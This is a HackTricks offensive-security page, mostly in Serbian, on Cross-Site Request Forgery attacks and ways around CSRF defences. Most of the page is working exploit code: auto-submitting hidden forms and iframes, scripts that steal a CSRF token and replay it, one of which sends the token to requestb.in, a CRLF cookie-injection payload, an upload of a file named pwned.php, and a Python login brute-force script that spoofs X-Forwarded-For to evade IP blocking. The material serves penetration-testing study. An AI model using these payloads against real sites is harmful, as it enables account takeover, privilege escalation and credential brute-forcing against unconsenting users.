CSRF (Cross Site Request Forgery)

Reading time: 22 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Cross-Site Request Forgery (CSRF) Explained

Cross-Site Request Forgery (CSRF) je tip sigurnosne ranjivosti u web aplikacijama. Omogućava napadačima da izvedu radnje u ime ničim neosumnjičenih korisnika iskorištavanjem njihovih autentifikovanih sesija. Napad se izvršava kada korisnik koji je ulogovan na ciljanu platformu poseti maliciozni sajt. Taj sajt potom pokreće zahteve ka nalogu žrtve preko izvođenja JavaScript-a, slanja formi ili učitavanja slika.

Preduslovi za CSRF napad

Da bi se iskoristila CSRF ranjivost, nekoliko uslova mora biti ispunjeno:

  1. Identify a Valuable Action: Napadač mora pronaći radnju vrednu iskorišćavanja, kao što su promena lozinke, email-a ili elevacija privilegija.
  2. Session Management: Sesija korisnika treba da se upravlja isključivo putem cookies ili HTTP Basic Authentication header-a, jer se ostali header-i ne mogu manipulirati u ovu svrhu.
  3. Absence of Unpredictable Parameters: Zahtev ne bi trebalo da sadrži nepredvidive parametre, jer oni mogu sprečiti napad.

Brza provera

Možete uhvatiti zahtev u Burp-u i proveriti CSRF zaštite, a za testiranje iz browser-a možete kliknuti na Copy as fetch i proveriti zahtev:

Odbrana protiv CSRF

Nekoliko protimera može biti implementirano da zaštiti od CSRF napada:

  • SameSite cookies: Ovaj atribut sprečava browser da šalje cookies zajedno sa cross-site zahtevima. More about SameSite cookies.
  • Cross-origin resource sharing: CORS politika ciljane lokacije može uticati na izvodljivost napada, naročito ako napad zahteva čitanje odgovora sa ciljane lokacije. Learn about CORS bypass.
  • User Verification: Traženje korisnikove lozinke ili rešavanje captche može potvrditi korisnikovu nameru.
  • Checking Referrer or Origin Headers: Validacija ovih header-a može pomoći da se osigura da zahtevi dolaze iz pouzdanih izvora. Ipak, pažljivo konstruisani URL-ovi mogu zaobići slabo implementirane provere, na primer:
  • Korišćenjem http://mal.net?orig=http://example.com (URL se završava sa pouzdanim URL-om)
  • Korišćenjem http://example.com.mal.net (URL počinje sa pouzdanim URL-om)
  • Modifying Parameter Names: Menjanje imena parametara u POST ili GET zahtevima može otežati automatizovane napade.
  • CSRF Tokens: Ugrađivanje jedinstvenog CSRF tokena u svaku sesiju i zahtev za tim tokenom u narednim zahtevima može značajno umanjiti rizik od CSRF. Efikasnost tokena se može poboljšati primenom CORS-a.

Razumevanje i implementacija ovih odbrana je ključno za održavanje sigurnosti i integriteta web aplikacija.

Česti propusti u odbranama

  • SameSite pitfalls: SameSite=Lax i dalje dozvoljava top-level cross-site navigacije kao što su linkovi i form GET-ovi, tako da mnogi GET-bazirani CSRF napadi ostaju mogući. Pogledajte cookie matrix u Hacking with Cookies > SameSite.
  • Header checks: Validirajte Origin kada je prisutan; ako su oba Origin i Referer odsutni, odbijte zahtev. Ne oslanjajte se na substring/regex poklapanja Referer koja se mogu zaobići lookalike domenima ili konstruisanim URL-ovima, i imajte na umu trik sa meta name="referrer" content="never" koji utiče na potiskivanje.
  • Method overrides: Tretirajte overridovane metode (_method ili override header-e) kao one koje menjaju stanje i primenjujte CSRF zaštitu na efektivnu metodu, ne samo na POST.
  • Login flows: Primijenite CSRF zaštite i na login; u suprotnom, login CSRF omogućava prisilnu ponovnu autentifikaciju u naloge pod kontrolom napadača, što se može povezati sa stored XSS.

Defences Bypass

From POST to GET (method-conditioned CSRF validation bypass)

Neke aplikacije primenjuju CSRF validaciju samo na POST dok je preskaču za druge metode. Uobičajen anti-pattern u PHP-u izgleda ovako:

php
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}

Ako ranjivi endpoint takođe prihvata parametre iz $_REQUEST, možete ponovo izvršiti istu akciju kao GET zahtev i potpuno izostaviti CSRF token. Ovo pretvara POST-only akciju u GET akciju koja uspeva bez tokena.

Primer:

  • Originalni POST sa tokenom (namerno):
http
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded

__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
  • Zaobilaženje promenom u GET (bez tokena):
http
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1

Napomene:

  • Ovaj obrazac se često pojavljuje zajedno sa reflected XSS gde se odgovori pogrešno služe kao text/html umesto application/json.
  • Kombinovanje ovoga sa XSS značajno snižava prepreke za eksploataciju jer možete dostaviti jedan GET link koji istovremeno pokreće ranjivi kod i potpuno zaobilazi CSRF provere.

Nedostatak tokena

Aplikacije mogu implementirati mehanizam da validiraju tokene kada su prisutni. Međutim, ranjivost nastaje ako se validacija potpuno preskoči kada token nedostaje. Napadači to mogu iskoristiti uklanjanjem parametra koji nosi token, a ne samo njegove vrednosti. To im omogućava da zaobiđu proces validacije i efikasno izvedu Cross-Site Request Forgery (CSRF) napad.

Štaviše, neke implementacije samo provere da parametar postoji, ali ne proveravaju njegov sadržaj, pa se prihvata prazna vrednost tokena. U tom slučaju je dovoljno jednostavno poslati zahtev sa csrf=:

http
POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=guest&role=admin&csrf=

Minimalni PoC za automatsko slanje (sakrivanje navigacije pomoću history.pushState):

html
<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>

CSRF token nije vezan za korisničku sesiju

Aplikacije koje ne vezuju CSRF tokene za korisničke sesije predstavljaju značajan bezbednosni rizik. Takvi sistemi proveravaju tokene u globalnoj kolekciji umesto da obezbede da je svaki token vezan za sesiju koja ga je inicirala.

Evo kako napadači zloupotrebljavaju ovo:

  1. Autentifikuju se koristeći sopstveni nalog.
  2. Nabave važeći CSRF token iz globalne kolekcije.
  3. Iskoriste ovaj token u CSRF napadu protiv žrtve.

Ova ranjivost omogućava napadačima da šalju neautorizovane zahteve u ime žrtve, iskorišćavajući neadekvatan mehanizam validacije tokena u aplikaciji.

Zaobilaženje metode

Ako zahtev koristi "čudnu" metodu, proverite da li funkcionalnost method override radi. Na primer, ako koristi PUT/DELETE/PATCH metodu možete pokušati da upotrebite POST i pošaljete override, npr. https://example.com/my/dear/api/val/num?_method=PUT.

Ovo može funkcionisati i slanjem _method parametra u POST telu ili korišćenjem override header-a:

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Uobičajeno u framework-ovima kao što su Laravel, Symfony, Express i drugi. Programeri ponekad preskaču CSRF na ne-POST verbima pretpostavljajući da browser-i ne mogu da ih pošalju; sa override-ima i dalje možete doći do tih handler-a preko POST-a.

Primer zahteva i HTML PoC:

http
POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=admin&_method=DELETE
html
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>

Custom header token bypass

Ako zahtev dodaje custom header sa token u zahtev kao CSRF protection method, onda:

  • Testirajte zahtev bez Customized Token and also header.
  • Testirajte zahtev sa tačno same length but different token.

Aplikacije mogu implementirati CSRF protection dupliciranjem token-a i u cookie i u request parameter ili postavljanjem CSRF cookie i proverom da li token poslat u backend odgovara cookie-u. Aplikacija validira request-e proverom da li token u request parameter-u odgovara vrednosti u cookie-u.

Međutim, ova metoda je ranjiva na CSRF attacks ako web sajt ima propuste koji napadaču omogućavaju da postavi CSRF cookie u browser žrtve, na primer CRLF vulnerability. Napadač to može iskoristiti tako što učita obmanjujuću image koja postavlja cookie, a zatim pokrene CSRF attack.

Below is an example of how an attack could be structured:

html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>

tip

Imajte na umu da ako je csrf token povezan sa session cookie ovaj napad neće raditi jer ćete morati da postavite žrtvi svoju sesiju, i stoga ćete napadati sebe.

Content-Type change

Prema this, da biste izbegli preflight zahteve koristeći POST metodu, sledeće su dozvoljene vrednosti Content-Type:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

Međutim, imajte na umu da logika servera može varirati u zavisnosti od korišćenog Content-Type pa bi trebalo da probate navedene vrednosti i druge kao application/json,text/xml, application/xml.

Primer (iz here) slanja JSON podataka kao text/plain:

html
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>

Bypassing Preflight Requests for JSON Data

Kada pokušavate da pošaljete JSON podatke putem POST zahteva, korišćenje Content-Type: application/json u HTML formi nije direktno moguće. Slično tome, upotreba XMLHttpRequest za slanje ovog Content-Type pokreće preflight request. Ipak, postoje strategije kojima se ovaj limit može potencijalno zaobići i proveriti da li server obrađuje JSON podatke nezavisno od Content-Type:

  1. Use Alternative Content Types: Koristite Content-Type: text/plain ili Content-Type: application/x-www-form-urlencoded tako što ćete postaviti enctype="text/plain" u formi. Ovaj pristup testira da li backend koristi podatke bez obzira na Content-Type.
  2. Modify Content Type: Da biste izbegli preflight request, a ipak osigurali da server prepozna sadržaj kao JSON, možete poslati podatke sa Content-Type: text/plain; application/json. Ovo ne pokreće preflight request, ali može biti pravilno obrađeno od strane servera ako je podešen da prihvata application/json.
  3. SWF Flash File Utilization: Manje uobičajena, ali izvodljiva metoda uključuje korišćenje SWF flash fajla za zaobilaženje takvih ograničenja. Za detaljnije objašnjenje ove tehnike, pogledajte this post.

Referrer / Origin check bypass

Avoid Referrer header

Aplikacije mogu validirati 'Referer' header samo kada je on prisutan. Da biste sprečili da browser šalje ovaj header, može se koristiti sledeći HTML meta tag:

xml
<meta name="referrer" content="never">

Ovo osigurava da se 'Referer' header izostavi, što može zaobići validacione provere u nekim aplikacijama.

Regexp zaobilaženja

URL Format Bypass

Da biste postavili naziv domene servera u URL-u koji će Referrer poslati unutar parametara, možete uraditi sledeće:

html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>

HEAD method bypass

The first part of this CTF writeup is explained that Oak's source code, a router is set to handle HEAD requests as GET requests with no response body - a common workaround that isn't unique to Oak. Instead of a specific handler that deals with HEAD reqs, they're simply given to the GET handler but the app just removes the response body.

Dakle, ako je GET zahtev ograničen, možete jednostavno poslati HEAD zahtev koji će biti procesiran kao GET zahtev.

Exploit Examples

Stored CSRF via user-generated HTML

When rich-text editors or HTML injection are allowed, you can persist a passive fetch that hits a vulnerable GET endpoint. Any user who views the content will automatically perform the request with their cookies.

  • If the app uses a global CSRF token that is not bound to the user session, the same token may work for all users, making stored CSRF reliable across victims.

Minimalan primer koji menja email posmatrača kada se učita:

html
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">

Login CSRF u lancu sa stored XSS

Login CSRF sam po sebi može imati mali uticaj, ali u lancu sa autentifikovanim stored XSS postaje snažan: primorajte žrtvu da se prijavi u nalog pod kontrolom napadača; kada je u tom kontekstu, stored XSS na autentifikovanoj stranici se izvršava i može ukrasti tokene, oteti sesiju ili eskalirati privilegije.

  • Proverite da login endpoint dozvoljava CSRF (nema per-session token-a ili provere Origin zaglavlja) i da nijedno korisničko interaktivno ograničenje ne blokira zahtev.
  • Posle prisilne prijave, automatski navigirajte na stranicu koja sadrži stored XSS payload napadača.

Minimalni login-CSRF PoC:

html
<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>

Eksfiltracija CSRF Token

Ako se koristi CSRF token kao odbrana, možete pokušati da ga eksfiltrirate zloupotrebljavajući ranjivost XSS ili ranjivost Dangling Markup.

GET koristeći HTML tagove

xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Drugi HTML5 tagovi koji se mogu koristiti za automatsko slanje GET zahteva su:

html
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>

GET zahtev iz forme

html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

POST zahtev iz forme

html
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>

POST zahtev iz formulara preko iframe-a

html
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Ajax POST zahtev

html
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2",
})
</script>

multipart/form-data POST zahtev

javascript
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})

multipart/form-data POST zahtev v2

javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
//  MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"

//xhr.send(body);
xhr.sendAsBinary(body)

Form POST request iz iframe-a

html
<--! expl.html -->

<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>

Ukradi CSRF Token i pošalji POST zahtev

javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")

// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy")
}

function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}

var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()

Ukradi CSRF Token i pošalji Post zahtev koristeći iframe, form i Ajax

html
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value

document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>

Ukrasti CSRF Token i poslati POST request koristeći iframe i form

html
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>

<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>

Ukradi token i pošalji ga koristeći 2 iframes

html
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTSteal CSRF token koristeći Ajax i pošalji post koristeći formu

html
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>

<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>

CSRF sa Socket.IO

html
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")

const username = "admin"

socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>

CSRF Login Brute Force

Kod se može koristiti za Brut Force login formu koristeći CSRF token (takođe koristi header X-Forwarded-For da pokuša zaobići moguću IP blacklisting):

python
import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Alati

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks